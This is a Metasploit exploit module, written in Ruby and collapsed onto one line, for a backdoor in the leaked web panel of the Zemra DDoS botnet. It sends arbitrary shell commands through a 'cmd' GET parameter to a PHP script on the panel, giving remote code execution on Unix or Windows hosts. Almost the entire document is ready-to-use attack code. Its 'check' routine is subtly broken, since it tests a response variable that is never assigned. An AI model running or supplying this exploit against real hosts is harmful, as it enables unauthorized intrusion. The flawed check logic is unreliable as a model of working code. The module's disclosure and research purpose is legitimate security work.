Zemra Botnet (C2 Web Panel) – Remote Code Execution (Metasploit)
## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient def initialize(info={}) super(update_info(info, 'Name' => 'Zemra Botnet CnC Web Panel Remote Code Execution', 'Description' => %q{ This module exploits the CnC web panel of Zemra Botnet which contains a backdoor inside its leaked source code. Zemra is a crimeware bot that can be used to conduct DDoS attacks and is detected by Symantec as Backdoor.Zemra. }, 'License' => MSF_LICENSE, 'Author' => [ 'Jay Turla <@shipcod3>', #Metasploit Module 'Angel Injection', #Initial Discovery (PoC from Inj3ct0r Team) 'Darren Martyn <@info_dox>' #Initial Discovery ], 'References' => [ ['URL', 'http://0day.today/exploit/19259'], ['URL', 'http://insecurety.net/?p=144'], #leaked source code and backdoor intro ['URL', 'http://www.symantec.com/connect/blogs/ddos-attacks-zemra-bot'] ], 'Privileged' => false, 'Payload' => { 'Space' => 10000, 'DisableNops' => true, 'Compat' => { 'PayloadType' => 'cmd' } }, 'Platform' => %w{ unix win }, 'Arch' => ARCH_CMD, 'Targets' => [ ['zemra panel / Unix', { 'Platform' => 'unix' } ], ['zemra panel / Windows', { 'Platform' => 'win' } ] ], 'DisclosureDate' => 'Jun 28 2012', 'DefaultTarget' => 0)) register_options( [ OptString.new('TARGETURI',[true, "The path of the backdoor inside Zemra Botnet CnC Web Panel", "/Zemra/Panel/Zemra/system/command.php"]), ],self.class) end def check txt = Rex::Text.rand_text_alpha(8) http_send_command(txt) if res && res.body =~ /cmd/ return Exploit::CheckCode::Vulnerable end return Exploit::CheckCode::Safe end def http_send_command(cmd) uri = normalize_uri(target_uri.path.to_s) res = send_request_cgi({ 'method' => 'GET', 'uri' => uri, 'vars_get' => { 'cmd' => cmd } }) unless res && res.code == 200 fail_with(Failure::Unknown, 'Failed to execute the command.') end res end def exploit http_send_command(payload.encoded) end end |